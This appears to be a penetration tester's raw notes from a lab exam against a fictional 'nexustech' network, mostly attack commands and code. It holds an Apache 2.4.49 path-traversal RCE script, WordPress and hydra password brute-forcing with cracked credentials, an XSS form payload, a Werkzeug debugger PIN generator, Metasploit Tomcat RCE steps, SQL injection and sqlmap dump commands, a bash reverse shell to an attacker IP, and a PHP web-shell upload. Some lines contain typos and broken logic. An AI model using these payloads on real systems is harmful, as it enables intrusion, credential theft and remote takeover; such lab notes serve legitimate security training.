exam domains

domains

cms.nexustech.com

4 web servers

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
3389/tcp open ms-wbt-server xrdp
8080/tcp open http Apache httpd 2.4.57 ((Debian))
8081/tcp open http Apache httpd 2.4.38 ((Debian))
8082/tcp open http Apache httpd 2.4.49 ((Unix))

webmaster@localhost

joomla specific version in this directory /administrator/manifests/files/joomla.xml

apache 2.4.49

```
#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; ls " "$host/cgi-
bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash"; done
```

```
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
```

http://cms.nexustech.com [200 OK] Apache[2.4.38], Cookies[wp_wpfileupload_b9904e6d5cd353bb2c68b4d379049ec1], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.0.20], JQuery, MetaGenerator[WordPress 5.3], PHP[7.1.33], PoweredBy[-wordpress,-wordpress,,WordPress], Script[text/javascript], Title[NexusTech WordPress Plugin Testbed – Just another WordPress site], UncommonHeaders[link], WordPress[5.3], X-Powered-By[PHP/7.1.33]

.git/logs/ [Status: 200, Size: 31122, Words: 1339, Lines: 383, Duration: 839ms]
cgi-bin/ [Status: 200, Size: 31122, Words: 1339, Lines: 383, Duration: 861ms] *#note* PATH Traversal /cgi-bin
favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7ms]
info.php [Status: 200, Size: 97000, Words: 4985, Lines: 1120, Duration: 2790ms]
php.ini

usernames

```
wpscan --url http://cms.nexustech.com --enumerate u,p,t --passwords
/usr/share/wordlists/rockyou.txt
```

admin:zxcvbnm
auditor:cheese
editor:sayang
rkane:swordfish

```
POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings HTTP/1.1
Host: cms.nexustech.com
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXSS
Cookie: [YOUR_VALID_WORDPRESS_COOKIES_HERE]
Connection: close
```

```
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="_wpnonce"

[REPLACE_WITH_VALID_NONCE]
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/options-general.php?page=wordpress_file_upload&action=plugin_settings
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="action"

edit_settings
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="wfu_basedir"

<script>alert('XSS')</script>
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="wfu_postmethod"

fopen
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="wfu_admindomain"

siteurl
------WebKitFormBoundaryXSS
Content-Disposition: form-data; name="submitform"

Update
------WebKitFormBoundaryXSS--
```

```
for wordpress after auth

http://cms.nexustech.com/wp-admin/admin-post.php?
```

```
swp_debug=load_options&swp_url=http://192.168.0.20/1.txt or file /phpinfo.txt
```

nexustech.com

http://nexustech.com [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/0.14.1 Python/3.8.17], IP[192.168.0.10], JQuery, Python[3.8.17], Script, Title[NexusTech Solutions - Cutting Edge Web App Development], Werkzeug[0.14.1]

```
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
 'www-data',# username
 'flask.app',# modname
 'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
 '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
 '345049979275',
 # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
 'ed5b159560f54721827644bc9b220d00superpass.service'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
 if not bit:
  continue
 if isinstance(bit, str):
  bit = bit.encode('utf-8')
 h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
 h.update(b'pinsalt')
```

```
 num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
 for group_size in 5, 4, 3:
  if len(num) % group_size == 0:
   rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
        for x in range(0, len(num), group_size))
   break
 else:
  rv = num
print("Pin: " + rv)
```

client.nexustech.com

XSS
3 search , message , edit

http://client.nexustech.com/login [200 OK] Bootstrap, Cookies[session], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/0.14.1 Python/3.8.17], HttpOnly[session], IP[192.168.0.50], PasswordField, Python[3.8.17], Title[Gossip World], Werkzeug[0.14.1]

infra.nexustech.com python server

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http
3389/tcp open ms-wbt-server xrdp
5000/tcp open http nginx 1.25.1 FAST API
8000/tcp open http-alt uvicorn
8080/tcp open http Apache Tomcat 8.5.19

http://infra.nexustech.com [401 Unauthorized] Country[RESERVED][ZZ], HTML5, IP[192.168.0.5], Title[Unauthorized], UncommonHeaders[x-content-type-options], WWW-Authenticate[example.com][Digest], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]

CVE-2019-0232 serachsploit tomcat 8.5.19

We find JSP Upload Bypass RCE module

msf5> search tomcat_jsp_upload_bypas
msf5> set RHOSTS < target IP>
msf5> run

{

FAST API request for bank

```
#!/bin/bash

# Set the output file name
output_file="bank_codes_responses.txt"

# Clear the output file if it already exists
> "$output_file"

# Loop through numbers 1 to 1000
for i in {1..1000}
do
  echo "Fetching data for code=$i..."

  # Make the request and append the response to the output file
  curl -s -X 'GET' \
    "http://infra.nexustech.com:8000/bank_codes/?code=$i" \
    -H 'Authorization: Bearer YOUR_ACCESS_TOKEN' \
    >> "$output_file"

  # Add a separator for better readability in the output file
  echo -e "\n\n--- End of Response for code=$i ---\n\n" >> "$output_file"

  # Optional: Sleep for a short time between requests to avoid flooding the server
  sleep 0.1
```

```
done

echo "All responses have been saved to $output_file."
```

username :messagebus

Union SQL

```
'+UNION+SELECT+'abcdef',NULL,NULL,NULL--
'+UNION+SELECT+NULL,'abcdef',NULL--
'+UNION+SELECT+NULL,NULL,'abcdef'--


'+UNION+SELECT+username,password+FROM+users--


'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

'+UNION+SELECT+@@version-- to get version
```

administrator
cf4pa757e3v8w9ft81fe

administrator~26osmeo00d4auna6rmeu

sqlmap -u "*http://cms.nexustech.com:8081/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml*" --risk=3 --level=5 --random-agent -p list[fullordering] -D nexust_joomla --tables

sqlmap -u "*http://cms.nexustech.com:8081/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml*" --risk=3 --level=5 --random-agent -p list[fullordering] -D nexust_joomla -T "#__users" --dump

hydra -l admin -P /usr/share/wordlists/rockyou.txt nexustech.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid username or password" -V

-H "Content-Type: application/x-www-form-urlencoded" -d "username=anas&password=anasanas"

curl -X POST "*http://infra.nexustech.com:8000/token/*" -H "Content-Type: application/x-www-form-urlencoded" -d "username=anas&password=anasanas"

curl -X POST "*http://infra.nexustech.com:8000/users/*" -H "Content-Type: application/json" -d '{"username": "anas", "password": "anasanas"}'

curl -X TRACE *http://infra.necustech.com:80000/api/inmemory/accounts*

curl -X GET "*http://nexustech.com/console?__debugger__=yes&cmd=printpin&s=H427JpG80d1Sre1dx2CG*" -H "Host: nexustech.com" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" -H "Accept: */*" -H "Accept-Language: en-US,en;q=0.5" -H "Accept-Encoding: gzip, deflate" -H "X-Requested-With: XMLHttpRequest" -H "Connection: close" -H "Referer: *http://nexustech.com/console*" -v # This will give you more details on the request and response

import+os;+os.system("/bin/bash+-c+'/bin/bash+-i+>&+/dev/tcp/192.168.0.100/1234+0>&1'")

curl -X POST *http://cms.nexustech.com/wp-json/wp/v2/media* -u admin:zxcvbnm -H "Content-Disposition: attachment; filename=shell.php" -H "Content-Type: application/x-php" --data-binary "@shell.php"

curl -X POST *http://infra.nexustech.com:8000/login* -H "Content-Type: application/json" -d '{"username":"rkane", "password":"tatooine"}'

curl -X GET *http://infra.nexustech.com:8000* -b cookies.txt